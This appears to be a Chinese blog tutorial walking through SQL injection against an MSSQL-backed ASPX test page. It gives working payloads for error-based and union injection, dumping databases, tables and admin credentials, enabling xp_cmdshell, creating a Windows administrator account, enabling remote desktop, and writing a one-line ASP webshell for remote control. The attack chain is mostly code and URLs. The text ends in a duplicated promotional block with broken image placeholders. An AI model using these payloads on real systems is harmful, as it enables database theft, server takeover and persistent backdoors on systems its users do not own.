1-3 注释符
–空格 ## 单行注释
/**/ ## 多行注释
1-4 判断注入
写了一个1.aspx页面专门用来进行测试,我放在了代码目录的sqlserver文件夹下面的1.aspx文件里,所以我们直接访问这个网址来进行 漏洞测试即可,网址 http://192.168.169.200/sqlserver/1.aspx?xxser=1
接下来我们开始判断是否有注入点
首先,判断是否是MsSQL注入点,也就是先判断一下网站的数据库是不是mssql数据库,可提交如下查询.
and exists (select * from sysobjects) ## sysobjects是一个mssql自带的系统表
运行以后没有报错,说明数据库是SQL server数据库
1-5 查询当前数据库的用户名
首先sql server是基于报错注入,让他故意报错,返回报错信息中返回我们想要的数据
http://192.168.169.200/sqlserver/1.aspx?xxser=1 and system_user=0
其中的system_user是查询当前数据库系统的用户名,返回值是字符型,因此在与数字int整型数据进行 对比时,会因为类型不匹配而造成数据库报错。从返回的错误信息中,可得知当前系统用户名。
1-6 判断查询字段的列数
用order by 猜字段数目
order by 1
order by 2
…
order by n-1
order by n
如果 order by n 时没报错,而order by n+1 时报错了,说明查询时存在n个字段
当 order by 4的时候报错了,而order by 3的时候没爆错,说明后端查询时查询了三个字段;
1-7 联合注入
sqlserver对数据类型比较严谨
先试一试 union select 1,2,3
报错了,从报错信息看,其中有字符串,因为报错说’yuan’转换成Int失败 ,逐步调试
## 一般来说列都是id,对应的就是int型
union select 1,‘2’,3
union select 1,‘2’,‘3’
union select 1,'2',3
成功了,说明中间的字段是字符串类型,第一个,第三个字段为数字类型
1-8 查询列名
通过提示的报错信息不断尝试,终于发现了有admin表 ,其中有admin字段
继续尝试,发现admin 表里有俩字段名是user,password,第一字段大概率是id字段,可以验证一下
果然没有报错,说明我们的猜想是正确的
1-9 报错注入
1-9-1 查询系统信息
and @@version> 1
and user_name()> 1
and db_name()> 1
@@version是字符串,0是整数型;利用mssql在转换类型的时候出错,会提示信息
1-9-2 爆库
and (select top 1 name from master..sysdatabases)> 0
## 询所有数据库名,除了master
and (select top 1 name from master..sysdatabases where name not in ('master'))> 0
##查询所有数据库名,除了master,iNethinkCMS
and (select top 1 name from master..sysdatabases where name not in ('master','aini'))> 0
##查询所有数据库名,除了master,iNethinkCMS
and (select top 1 name from master…sysdatabases where name not in (‘master’,‘aini’))> 0
爆出来的字段不断加入到上述查询语句中进行排除,挨个把字段名爆出来
1-9-3 爆表
跟上面的爆库一个玩法
and (select top 1 name from master.sys.all_objects where type='u' and is_ms_shipped=0)> 0
and (select top 1 name from MYDB.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('cmd','test_tmp'))> 0
1-9-4 爆裂
## 查询指定库指定表中的列名
and (select top 1 column_name from mydb.information_schema.columns where table_name='admin')> 0
1-9-5 爆数据
我们之前通过联合查询知道了在admin表里有user和password字段
## 爆用户名
and (select top 1 user from admin)> 1
## 如果再也没有可爆的用户名,页面会显示正常
and (select top 1 user from admin where name not in ('admin'))> 1
二,mssql权限说明和操作
2-1 注入点类型判断
先,判断是否是MsSQL注入点,也就是先判断一下网站的数据库是不是mssql数据库,可提交如下查询
and exists (select * from sysobjects)
## select * from admin where id=1 and exists (select * from sysobjects)
sysobjects是一个mssql自带的系统表
**# 注入:比如
http://192.168.169.200/sqlserver/1.aspx?xxser=1 and exists (select * from sysobjects)页面返回正常,则说明为MsSQL注入点。
一般aspx多数是配合mssql数据库的。**
2-2 设置权限用户
1、用Windows 身份验证方式或 sa用户 连接服务器,打开安全性 → 右击登录名 → 新建登录名
2、常规设置:
**## 1、输入账户名,密码
2、去掉密码策略的勾
3、根据需要选择默认数据库,默认语言**
3、服务器角色
根据需要授予角色权限,默认勾选 Public,一般够用了。
4,用户映射
**## 勾选映射的数据库,即该用户可以访问的数据库,这边实际上就是一个对数据库访问权限的控制
勾选数据库角色成员身份,这边实际上就是一个对数据库操作权限的控制
## db_datereader:只读的权限
## db_datawirter:只写的权限
## db_owner: 数据库拥有者权限,增删改查备份等都可以做
## public权限:默认权限,增删改查都可以,如果想让用户只读,那么就再勾选上db_datereader角色**
5,安全对象、状态 默认即可,可以不设置。如有特殊需要再去设置。
接下来就可以新建数据库,然后新建用户、分配权限进行操作了。
三,三大权限注入
3-1 sa权限注入
3-1-1 检查是否为sa权限
如果返回的是sa,那么可以直接判断出用户的权限,但是这里只有提交如下链接查询的权限
http://192.168.169.200/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
## 具备sa权限则返回1,不具备则返回0,所以可以1= 或者0= 来逻辑判断
执行成功,则说明是sa权限
但是这个语句有点问题,我们先忽略他吧,因为不管输入的名称是不是sysadmin,都不会报错。
3-1-2 判断一下xp_cmdshell存储过程是否存在
xp_cmdshell是mssql数据库的扩展存储功能,这个功能可以直接执行操作系统的指令(ipconfig、pwd等等),默认情况下这个功能是禁用状态的,所以我们先要看看是否开启了,但我们需要打开的时候,我们可以自行打开,但是这个功能只能是sa这样的权限用户才能开启,dbowner、public等权限都是不能开启的,好,检查一下是否开启了
http://192.168.169.200/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
没有报错,说明扩展存储功能是开着的
如果发现报错了,说明扩展没有开启,那么我们需要恢复一下或者说打开一下这个功能,如下操作
3-1-3 恢复xp_cmdshell
## 恢复xp_cmdshell可以用
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
没有报错,说明恢复成功
开启了xp_cmdshell,我们接下来就可以添加用户等操作了。
3-1-4添加账号
## 注入指令:
;exec master..xp_cmdshell 'net user test 123456 /add'
## 比如:
http://192.168.169.200/sqlserver/1.aspx?xxser=1;exec%20master..xp_cmdshell%20%27net%20user%20test%20test%20/add'
先看看有哪些用户,我们穿件一个test用户试一试
没有报错,说明执行成功了
用ner user 命令查看发现确实创建了一个test用户
3-1-5 将账号添加到管理员组
;exec master..xp_cmdshell 'net localgroup administrators test /add'
没有报错,说明执行成功了
3-1-6 开3389远程连接端口
既然已经是管理员组的用户了,那么别人想远程控制你的电脑,那么他就可以开启3389端口,默认远程桌面是关闭的。下面的是通过cmd指令修改注册表的一个选项来开启3389
没有报错,执行成功了
我的电脑右击,属性,远程 可以看到远程桌面已经开启了
然后,比如通过我们物理机,我的物理机是win10,来远程连接一下win2003的虚拟机,win10上使用快捷键【win】【R】,输入【mstsc】调出远程桌面界面。
然后就是让你输入用户名和密码,我们已经创建了一个名为test 密码为123456的用户
用这个账号密码登录,就可以控制人家电脑了
那这样的话,就可以搞事情了。所以,如果你是运维人员,千万不要启动sa账号,因为可以直接执行系统指令,你看我们数据库这里,肯定是启用了的
3-2 dbowner权限注入
3-2-1 检查是不是dbowner权限
## 注入指令:
and 1=(SELECT IS_MEMBER('db_owner'));-- ## 有权限就是1,没有就是0
## 网址:
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20and%201=(SELECT%20IS_MEMBER(%27db_owner%27));--
执行成功了,说明是dbowner权限
接下来,我们需要找到网站路径,就是下面这个: C:\www\iisaspx\sqlserver
3-2-2 查找网站代码路径
2-1 网页报错
1.通过报错或者baidu、google等查找,不过还是通过扫描工具来的快一些。
2-2 搜索
baidu或者google等,通过site:xxx.com等来查找,看看有没有什么报错的页面或者敏感网页路径信息之类的
2-3 目录扫描
我们用过的7kb、 穿山甲什么的。
用御剑扫描看看
2-4 通过查询语句查找
通过相关语句查找,但是也需要一个条件,需要对方开启了xp_cmdshell
1.
;drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
# black是随便写的一个库名昂,只要别和人家网站现有的库重名就行,我经常用这个black名字,所以我先执行了一下删除black表,然后再创建的black表
2.
;insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
# 往black表中插入'dir /s c:\1.aspx'这个系统指令的执行结果
3.
and (select result from black where id=4)>0-- # 查找black表中的数据
首先如果有black表就删除以后,重新创建black表,确保这个表存在
## 网址:
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20drop%20table%20black;create%20Table%20black(result%20varchar(7996)%20null,%20id%20int%20not%20null%20identity%20(1,1))--
通过执行系统命令查找网站真实路径保存在black表中
## 注入网址:
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20insert%20into%20black%20exec%20master..xp_cmdshell%20%27dir%20/s%20c:\1.aspx%27--
最后从black表中查询即可,当然了,页面时没有回显的,所以通过报错的形式把信息带出来
## 注入指令:
and (select result from black where id=4)>0--
## 网址:
http://192.168.169.200/sqlserver/1.aspx?
xxser=1%20and%20(select%20result%20from%20black%20where%20id=4)%3E0--
## 但是要注意:用低版本的浏览器,不然报错信息看不到路径的
3-2-3 一句话木马拿到webshell
通过注入语句来搞:比较麻烦一些
%20;exec%20master..xp_cmdshell%20'Echo%20"
<%eval%20request("jaden")%>"%20>>%20c:\www\wwwroot\sqlserver\muma.asp'--
现在网站跟路径没有muma.asp文件,我们注入一个试一试
执行成功了,我们看看到底有没有写入成功!
用工具连接一下吧,我就用蚁剑进行连接
发现能成功连接上目标主机了
还可以利用一些工具对目标网站数据库进行备份数据等,添加系统用户,权限维持等
3-3 public权限注入
通过这种权限登录的用户是拿不到webshell和系统执行指令权限的,属于最低权限,但是可以取到数据库的用户名和密码,拖库什么的都可以,只要发现注入点,基本都可以拖库,但是能不能拿到操作系统权限,这个要看当前数据库用户的权限了。
3-3-1 获取当前数据库名
## 指令:
and db_name()=0--
## 网址:
http://192.168.169.200/sqlserver/1.aspx?xxser=1%20and%20db_name()=0--
看到报错信息里面已经拿到数据库名称了
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
aab3e45.png)
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-raB6bQf6-1715573472352)]
[外链图片转存中…(img-6oJLuGlm-1715573472353)]
[外链图片转存中…(img-lZ3BG0Rb-1715573472353)]
[外链图片转存中…(img-lhU7SHBC-1715573472353)]
[外链图片转存中…(img-xuRG8Zd4-1715573472354)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!